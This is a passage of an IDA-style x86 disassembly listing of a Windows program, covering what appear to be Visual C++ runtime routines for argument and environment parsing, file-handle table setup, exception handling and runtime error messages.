		jz	short loc_4239B9
		cmp	dl, 9
		jz	short loc_4239B9


loc_42397F:				; CODE XREF: sub_423825+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4239B3
		test	esi, esi
		jz	short loc_4239A2
		movzx	ebx, dl
		test	byte_4DD261[ebx], 4
		jz	short loc_42399B
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_42399B:				; CODE XREF: sub_423825+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4239B1
; ---------------------------------------------------------------------------


loc_4239A2:				; CODE XREF: sub_423825+162j
		movzx	edx, dl
		test	byte_4DD261[edx], 4
		jz	short loc_4239B1
		inc	eax
		inc	dword ptr [ecx]


loc_4239B1:				; CODE XREF: sub_423825+17Bj
					; sub_423825+187j
		inc	dword ptr [ecx]


loc_4239B3:				; CODE XREF: sub_423825+15Ej
		inc	eax
		jmp	loc_423911
; ---------------------------------------------------------------------------


loc_4239B9:				; CODE XREF: sub_423825+148j
					; sub_423825+153j ...
		test	esi, esi
		jz	short loc_4239C1
		and	byte ptr [esi],	0
		inc	esi


loc_4239C1:				; CODE XREF: sub_423825+196j
		inc	dword ptr [ecx]
		jmp	loc_4238DF
; ---------------------------------------------------------------------------


loc_4239C8:				; CODE XREF: sub_423825+BDj
					; sub_423825+D5j
		test	edi, edi
		jz	short loc_4239CF
		and	dword ptr [edi], 0


loc_4239CF:				; CODE XREF: sub_423825+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_423825	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DBFA4
		push	ebx
		push	ebp
		mov	ebp, dword_427030
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_423A27
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_423A08
		mov	dword_4DBFA4, 1
		jmp	short loc_423A30
; ---------------------------------------------------------------------------


loc_423A08:				; CODE XREF: ___:004239FAj
		nop
		call	near ptr 2630B54h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_423B02
		mov	dword_4DBFA4, 2
		jmp	loc_423AB6
; ---------------------------------------------------------------------------


loc_423A27:				; CODE XREF: ___:004239F2j
		cmp	eax, 1
		jnz	loc_423AB1


loc_423A30:				; CODE XREF: ___:00423A06j
		cmp	esi, ebx
		jnz	short loc_423A40
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_423B02


loc_423A40:				; CODE XREF: ___:00423A32j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_423A55


loc_423A47:				; CODE XREF: ___:00423A4Cj
					; ___:00423A53j
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423A47
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423A47


loc_423A55:				; CODE XREF: ___:00423A45j
		sub	eax, esi
		mov	edi, dword_427188
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_423AA6
		push	ebp
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_423AA6
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423AA2
		push	dword ptr [esp+10h]
		call	sub_41BA91
		pop	ecx
		mov	[esp+10h], ebx


loc_423AA2:				; CODE XREF: ___:00423A92j
		mov	ebx, [esp+10h]


loc_423AA6:				; CODE XREF: ___:00423A72j
					; ___:00423A81j
		push	esi
		nop
		call	near ptr 2630DFFh
		mov	eax, ebx
		jmp	short loc_423B04
; ---------------------------------------------------------------------------


loc_423AB1:				; CODE XREF: ___:00423A2Aj
		cmp	eax, 2
		jnz	short loc_423B02


loc_423AB6:				; CODE XREF: ___:00423A22j
		cmp	edi, ebx
		jnz	short loc_423AC6
		nop
		call	near ptr 2630B54h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_423B02


loc_423AC6:				; CODE XREF: ___:00423AB8j
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_423AD6


loc_423ACC:				; CODE XREF: ___:00423ACFj
					; ___:00423AD4j
		inc	eax
		cmp	[eax], bl
		jnz	short loc_423ACC
		inc	eax
		cmp	[eax], bl
		jnz	short loc_423ACC


loc_423AD6:				; CODE XREF: ___:00423ACAj
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_423AEC
		xor	esi, esi
		jmp	short loc_423AF7
; ---------------------------------------------------------------------------


loc_423AEC:				; CODE XREF: ___:00423AE6j
		push	ebp
		push	edi
		push	esi
		call	sub_41CD20
		add	esp, 0Ch


loc_423AF7:				; CODE XREF: ___:00423AEAj
		push	edi
		nop
		call	near ptr 2630E44h
		mov	eax, esi
		jmp	short loc_423B04
; ---------------------------------------------------------------------------


loc_423B02:				; CODE XREF: ___:00423A12j
					; ___:00423A3Aj ...
		xor	eax, eax


loc_423B04:				; CODE XREF: ___:00423AAFj
					; ___:00423B00j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423B2B
		push	1Bh
		call	sub_41E2C9
		pop	ecx


loc_423B2B:				; CODE XREF: ___:00423B21j
		mov	dword_4DD040, esi
		mov	dword_4DD140, 20h
		lea	eax, [esi+100h]


loc_423B41:				; CODE XREF: ___:00423B5Dj
		cmp	esi, eax
		jnb	short loc_423B5F
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DD040
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423B41
; ---------------------------------------------------------------------------


loc_423B5F:				; CODE XREF: ___:00423B43j
		lea	eax, [esp+10h]
		push	eax
		call	near ptr 2890000h
		nop
		cmp	word ptr [esp+42h], 0
		jz	loc_423C3B
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423C3B
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_423B95
		mov	esi, eax


loc_423B95:				; CODE XREF: ___:00423B91j
		cmp	dword_4DD140, esi
		jge	short loc_423BEF
		mov	edi, offset dword_4DD044


loc_423BA2:				; CODE XREF: ___:00423BE5j
		push	100h
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		jz	short loc_423BE9
		add	dword_4DD140, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_423BC0:				; CODE XREF: ___:00423BDAj
		cmp	eax, ecx
		jnb	short loc_423BDC
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_423BC0
; ---------------------------------------------------------------------------


loc_423BDC:				; CODE XREF: ___:00423BC2j
		add	edi, 4
		cmp	dword_4DD140, esi
		jl	short loc_423BA2
		jmp	short loc_423BEF
; ---------------------------------------------------------------------------


loc_423BE9:				; CODE XREF: ___:00423BAFj
		mov	esi, dword_4DD140


loc_423BEF:				; CODE XREF: ___:00423B9Bj
					; ___:00423BE7j
		xor	edi, edi
		test	esi, esi
		jle	short loc_423C3B


loc_423BF5:				; CODE XREF: ___:00423C39j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423C32
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423C32
		test	cl, 8
		jnz	short loc_423C14
		push	eax
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_423C32


loc_423C14:				; CODE XREF: ___:00423C07j
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD040[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423C32:				; CODE XREF: ___:00423BFAj
					; ___:00423C02j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_423BF5


loc_423C3B:				; CODE XREF: ___:00423B70j
					; ___:00423B7Cj ...
		xor	ebx, ebx


loc_423C3D:				; CODE XREF: ___:00423CA0j
		mov	eax, dword_4DD040
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_423C98
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_423C58
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423C62
; ---------------------------------------------------------------------------


loc_423C58:				; CODE XREF: ___:00423C51j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423C62:				; CODE XREF: ___:00423C56j
		push	eax
		nop
		call	near ptr 263083Fh
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_423C87
		push	edi
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_423C87
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423C8D


loc_423C87:				; CODE XREF: ___:00423C6Ej
					; ___:00423C79j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423C9C
; ---------------------------------------------------------------------------


loc_423C8D:				; CODE XREF: ___:00423C85j
		cmp	eax, 3
		jnz	short loc_423C9C
		or	byte ptr [esi+4], 8
		jmp	short loc_423C9C
; ---------------------------------------------------------------------------


loc_423C98:				; CODE XREF: ___:00423C49j
		or	byte ptr [esi+4], 80h


loc_423C9C:				; CODE XREF: ___:00423C8Bj
					; ___:00423C90j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423C3D
		push	dword_4DD140
		nop
		call	near ptr 2630AB5h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CC0	proc near		; DATA XREF: sub_4228FD+Ao
					; sub_422A2C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423D60
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_423CF3:				; CODE XREF: sub_423CC0+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423D59
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_423D47
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_423D47
		js	short loc_423D52
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41D550
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41D592
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41D626
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_423D47:				; CODE XREF: sub_423CC0+40j
					; sub_423CC0+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_423CF3
; ---------------------------------------------------------------------------


loc_423D52:				; CODE XREF: sub_423CC0+54j
		mov	eax, 0
		jmp	short loc_423D75
; ---------------------------------------------------------------------------


loc_423D59:				; CODE XREF: sub_423CC0+36j
		mov	eax, 1
		jmp	short loc_423D75
; ---------------------------------------------------------------------------


loc_423D60:				; CODE XREF: sub_423CC0+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41D592
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_423D75:				; CODE XREF: sub_423CC0+97j
					; sub_423CC0+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_423CC0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41D592
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423D98	proc near		; CODE XREF: sub_41E2C9+9p
		mov	eax, dword_4DBE3C
		cmp	eax, 1
		jz	short loc_423DAF
		test	eax, eax
		jnz	short locret_423DD0
		cmp	dword_43AE44, 1
		jnz	short locret_423DD0


loc_423DAF:				; CODE XREF: sub_423D98+8j
		push	0FCh
		call	sub_423DD1
		mov	eax, dword_4DBFA8
		pop	ecx
		test	eax, eax
		jz	short loc_423DC5
		call	eax


loc_423DC5:				; CODE XREF: sub_423D98+29j
		push	0FFh
		call	sub_423DD1
		pop	ecx

locret_423DD0:				; CODE XREF: sub_423D98+Cj
					; sub_423D98+15j
		retn
sub_423D98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423DD1	proc near		; CODE XREF: sub_41E2C9+12p
					; sub_423D98+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43D4D8


loc_423DE4:				; CODE XREF: sub_423DD1+20j
		cmp	edx, [eax]
		jz	short loc_423DF3
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43D568
		jl	short loc_423DE4


loc_423DF3:				; CODE XREF: sub_423DD1+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43D4D8[esi]
		jnz	loc_423F21
		mov	eax, dword_4DBE3C
		cmp	eax, 1
		jz	loc_423EFB
		test	eax, eax
		jnz	short loc_423E24
		cmp	dword_43AE44, 1
		jz	loc_423EFB


loc_423E24:				; CODE XREF: sub_423DD1+44j
		cmp	edx, 0FCh
		jz	loc_423F21
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 2680000h
		nop
		test	eax, eax
		jnz	short loc_423E5B
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_423E5B:				; CODE XREF: sub_423DD1+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41B9C0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423E9E
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41B9C0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41BFD0
		add	esp, 10h


loc_423E9E:				; CODE XREF: sub_423DD1+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41C890
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41C8A0
		lea	eax, [ebp+var_A0]
		push	offset asc_427BF0 ; "\n\n"
		push	eax
		call	sub_41C8A0
		push	off_43D4DC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C8A0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_425029
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423F21
; ---------------------------------------------------------------------------


loc_423EFB:				; CODE XREF: sub_423DD1+3Cj
					; sub_423DD1+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43D4DC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 263083Fh
		push	eax
		nop
		call	near ptr 2720000h


loc_423F21:				; CODE XREF: sub_423DD1+2Ej
					; sub_423DD1+59j ...
		pop	esi
		leave
		retn
sub_423DD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423F24	proc near		; CODE XREF: sub_42423B:loc_4243B3p
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DD040


loc_423F33:				; CODE XREF: sub_423F24+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423F70
		lea	edx, [eax+100h]


loc_423F3F:				; CODE XREF: sub_423F24+28j
		cmp	eax, edx
		jnb	short loc_423F5F
		test	byte ptr [eax+4], 1
		jz	short loc_423F4E
		add	eax, 8
		jmp	short loc_423F3F
; ---------------------------------------------------------------------------


loc_423F4E:				; CODE XREF: sub_423F24+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_423FB3


loc_423F5F:				; CODE XREF: sub_423F24+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DD140
		jl	short loc_423F33
		jmp	short loc_423FB3
; ---------------------------------------------------------------------------


loc_423F70:				; CODE XREF: sub_423F24+13j
		mov	esi, 100h
		push	esi
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		jz	short loc_423FB3
		add	dword_4DD140, 20h
		lea	ecx, ds:4DD040h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_423F96:				; CODE XREF: sub_423F24+88j
		cmp	eax, edx
		jnb	short loc_423FAE
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_423F96
; ---------------------------------------------------------------------------


loc_423FAE:				; CODE XREF: sub_423F24+74j
		shl	edi, 5
		mov	ebx, edi


loc_423FB3:				; CODE XREF: sub_423F24+39j
					; sub_423F24+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_423F24	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FB9	proc near		; CODE XREF: sub_42423B+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DD140
		push	edi
		jnb	short loc_424019
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DD040h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_424019
		cmp	dword_43AE44, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_42400F
		sub	eax, 0
		jz	short loc_424006
		dec	eax
		jz	short loc_424001
		dec	eax
		jnz	short loc_42400F
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_424009
; ---------------------------------------------------------------------------


loc_424001:				; CODE XREF: sub_423FB9+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_424009
; ---------------------------------------------------------------------------


loc_424006:				; CODE XREF: sub_423FB9+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_424009:				; CODE XREF: sub_423FB9+46j
					; sub_423FB9+4Bj
		call	near ptr 2620D20h
		nop


loc_42400F:				; CODE XREF: sub_423FB9+36j
					; sub_423FB9+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_42402D
; ---------------------------------------------------------------------------


loc_424019:				; CODE XREF: sub_423FB9+Cj
					; sub_423FB9+28j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh


loc_42402D:				; CODE XREF: sub_423FB9+5Ej
		pop	edi
		pop	esi
		retn
sub_423FB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_424030	proc near		; CODE XREF: sub_41E312+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DD140
		push	edi
		jnb	short loc_424093
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_424093
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_424093
		cmp	dword_43AE44, 1
		jnz	short loc_424089
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_424080
		dec	ecx
		jz	short loc_42407B
		dec	ecx
		jnz	short loc_424089
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_424083
; ---------------------------------------------------------------------------


loc_42407B:				; CODE XREF: sub_424030+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_424083
; ---------------------------------------------------------------------------


loc_424080:				; CODE XREF: sub_424030+3Ej
		push	eax
		push	0FFFFFFF6h


loc_424083:				; CODE XREF: sub_424030+49j
					; sub_424030+4Ej
		nop
		call	near ptr 2620D20h


loc_424089:				; CODE XREF: sub_424030+38j
					; sub_424030+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_4240A7
; ---------------------------------------------------------------------------


loc_424093:				; CODE XREF: sub_424030+Cj
					; sub_424030+2Aj ...
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh


loc_4240A7:				; CODE XREF: sub_424030+61j
		pop	edi
		pop	esi
		retn
sub_424030	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240AA	proc near		; CODE XREF: sub_41E312+32p
					; sub_41E312+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD140
		jnb	short loc_4240D2
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD040[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4240D2
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4240D2:				; CODE XREF: sub_4240AA+Aj
					; sub_4240AA+23j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4240AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240E7	proc near		; CODE XREF: sub_41E3F0+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD140
		jnb	short loc_424130
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DD040[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_424130
		push	eax
		call	sub_4240AA
		pop	ecx
		push	eax
		nop
		call	near ptr 262082Dh
		test	eax, eax
		jnz	short loc_424125
		nop
		call	near ptr 269086Bh
		jmp	short loc_424127
; ---------------------------------------------------------------------------


loc_424125:				; CODE XREF: sub_4240E7+34j
		xor	eax, eax


loc_424127:				; CODE XREF: sub_4240E7+3Cj
		test	eax, eax
		jz	short locret_42413D
		mov	dword_4DBDE0, eax


loc_424130:				; CODE XREF: sub_4240E7+Aj
					; sub_4240E7+22j
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh

locret_42413D:				; CODE XREF: sub_4240E7+42j
		retn
sub_4240E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_42413E	proc near		; DATA XREF: ___:00429020o
		mov	eax, dword_4DD020
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_424152
		mov	eax, 200h
		jmp	short loc_424158
; ---------------------------------------------------------------------------


loc_424152:				; CODE XREF: sub_42413E+Bj
		cmp	eax, esi
		jge	short loc_42415D
		mov	eax, esi


loc_424158:				; CODE XREF: sub_42413E+12j
		mov	dword_4DD020, eax


loc_42415D:				; CODE XREF: sub_42413E+16j
		push	4
		push	eax
		call	sub_4250B2
		pop	ecx
		mov	dword_4DC01C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_424191
		push	4
		push	esi
		mov	dword_4DD020, esi
		call	sub_4250B2
		pop	ecx
		mov	dword_4DC01C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_424191
		push	1Ah
		call	sub_41E2C9
		pop	ecx


loc_424191:				; CODE XREF: sub_42413E+30j
					; sub_42413E+49j
		xor	ecx, ecx
		mov	eax, offset off_43D568


loc_424198:				; CODE XREF: sub_42413E+6Ej
		mov	edx, dword_4DC01C
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43D7E8
		jl	short loc_424198
		xor	edx, edx
		mov	ecx, offset dword_43D578


loc_4241B5:				; CODE XREF: sub_42413E+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DD040[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4241D2
		test	eax, eax
		jnz	short loc_4241D5


loc_4241D2:				; CODE XREF: sub_42413E+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4241D5:				; CODE XREF: sub_42413E+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43D5D8
		jl	short loc_4241B5
		pop	esi
		retn
sub_42413E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241E3	proc near		; DATA XREF: ___:00429030o

; FUNCTION CHUNK AT 00425163 SIZE 00000058 BYTES

		call	sub_41E487
		cmp	byte_4DBE1C, 0
		jz	short locret_4241F6
		jmp	loc_425163
; ---------------------------------------------------------------------------

locret_4241F6:				; CODE XREF: sub_4241E3+Cj
		retn
sub_4241E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241F7	proc near		; CODE XREF: sub_41F8E3+32p
					; sub_41FE2A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DBFAC
		push	1000h
		call	sub_41BEB5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_424220
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_424231
; ---------------------------------------------------------------------------


loc_424220:				; CODE XREF: sub_4241F7+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_424231:				; CODE XREF: sub_4241F7+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4241F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42423B	proc near		; CODE XREF: sub_41FBCD+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_424261
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_42426C
; ---------------------------------------------------------------------------


loc_424261:				; CODE XREF: sub_42423B+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_42426C:				; CODE XREF: sub_42423B+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_424286
		test	ch, 40h
		jnz	short loc_424282
		cmp	dword_4DBFF8, eax
		jz	short loc_424286


loc_424282:				; CODE XREF: sub_42423B+3Dj
		or	[ebp+var_1], 80h


loc_424286:				; CODE XREF: sub_42423B+38j
					; sub_42423B+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_4242BE
		dec	eax
		jz	short loc_4242B5
		dec	eax
		jz	short loc_4242AC


loc_424297:				; CODE XREF: sub_42423B+9Fj
					; sub_42423B+E8j ...
		mov	dword_4DBDDC, 16h
		mov	dword_4DBDE0, ebx
		jmp	loc_4244D1
; ---------------------------------------------------------------------------


